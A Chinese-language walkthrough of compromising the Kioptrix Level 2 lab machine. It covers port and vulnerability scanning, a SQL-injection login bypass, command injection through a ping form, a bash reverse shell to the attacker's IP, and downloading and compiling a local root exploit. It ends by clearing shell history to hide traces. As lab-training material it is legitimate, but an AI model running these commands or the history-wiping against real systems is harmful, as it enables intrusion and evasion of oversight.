#渗透测试 kioptix level 2靶机通关教程及提权
声明!文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!
工具链接:https://pan.quark.cn/s/530656ba5503
一、准备阶段
复现请将靶机ip换成自己的
kali: 192.168.108.130
靶机:192.168.108.136
1. 找出ip端口和服务信息
扫出ip
nmap -sn 192.168.108.0/24
扫出端口
nmap -p 1-65535 192.168.108.136
一般扫描出端口后,尝试去访问web页面,但是只有一个登录界面
端口对应服务信息
nmap -sV 192.168.108.136服务信息
22/tcp openssh OpenSSH 3.9p1 (protocol 1.99)80/tcp openhttp Apache httpd 2.0.52 ((CentOS))111/tcpopenrpcbind2 (RPC #100000)443/tcpopenssl/http Apache httpd 2.0.52 ((CentOS))631/tcpopenipp CUPS 1.13306/tcp openmysql MySQL (unauthorized)可利用信息
OpenSSH 3.9p1
Apache httpd 2.0.52
MySQL (unauthorized)
CUPS 1.1
2. 目录扫描
dirb http://192.168.108.136/可以看到扫出很多目录,但都是在http://192.168.108.136/manual 这个大目录下
访问此目录http://192.168.108.136/manual,寻找可能利用的信息
3. 漏洞扫描
nmap扫描漏洞
nmap 192.168.108.136 -p 22,80,111,443,631,3306 -oA --script=vuln会有很多漏洞
searchsploit查找漏洞
searchsploit Apache httpd 2.0.52searchsploit OpenSSH 3.9p1searchsploit MySQL (unauthorized)searchsploit CUPS 1.1二、获取权限
1. 访问web服务
结合开放的mysql3306端口,可以尝试sql注入攻击,
输入万能密码尝试
出现以下界面
可以看到是要进行ping命令,但是没有ping的框架,
查看源代码发现以下信息
发现登录框被闭合了
方法1
打开burpsuite抓包,在拦截设置,选择拦截响应包
点击此处,然后关闭拦截即可
删除' 然后放包
此时就可以进行ping了
方法2
找到需要插入的地方,右键编辑html将代码复制到这里,并将align='center>修改align="center">
可以看到也是可以的
2. ping命令
在ping之前先了解一下url中的的一些符号
; 前面的执行完执行后面的| 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果) || 当前面的执行出错时(为假)执行后面的& 将任务置于后台执行&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真%0a(换行)%0d(回车)ping靶机
输入以下命令
192.168.108.136;ls
发现成功回显,并且经过测试,并不存在过滤的情况
3. 反弹shell
这里我们使用bash反弹
开启监听端口,端口选用kali空闲端口即可
nc -lvvp 4444
执行以下代码
127.0.0.1;bash -i >& /dev/tcp/192.168.108.130/4444 0>&1/dev/tcp/你的kali的ip/开启的端口可以看到反弹成功
三、提权
查询版本信息
uname -alsb_release -a信息如下
Linux kioptrix.level2 2.6.9-55.ELDistributor ID: CentOSDescription: CentOS release 4.5 (Final)Release: 4.5可以知道是centos4.5版本,查找该版本漏洞
找到漏洞利用脚本
利用searchsploit命令下载脚本,这里可以看我之前总结的命令使用详情
searchsploit命令大全
searchsploit centos 4.5 -m 9542.c下载成功
开启web服务
sudo python -m http.server 80成功上传
在目标主机上下载脚本
cd /tmpwget http://192.168.108.130:80/9542.c下载成功
编译脚本
gcc 9542.cchamod 777 a.out./a.out提权成功
可以看到是有命令记录的,为了更严谨,最后每次复现完,退出的时候清除历史命令
history -c
页:
[1]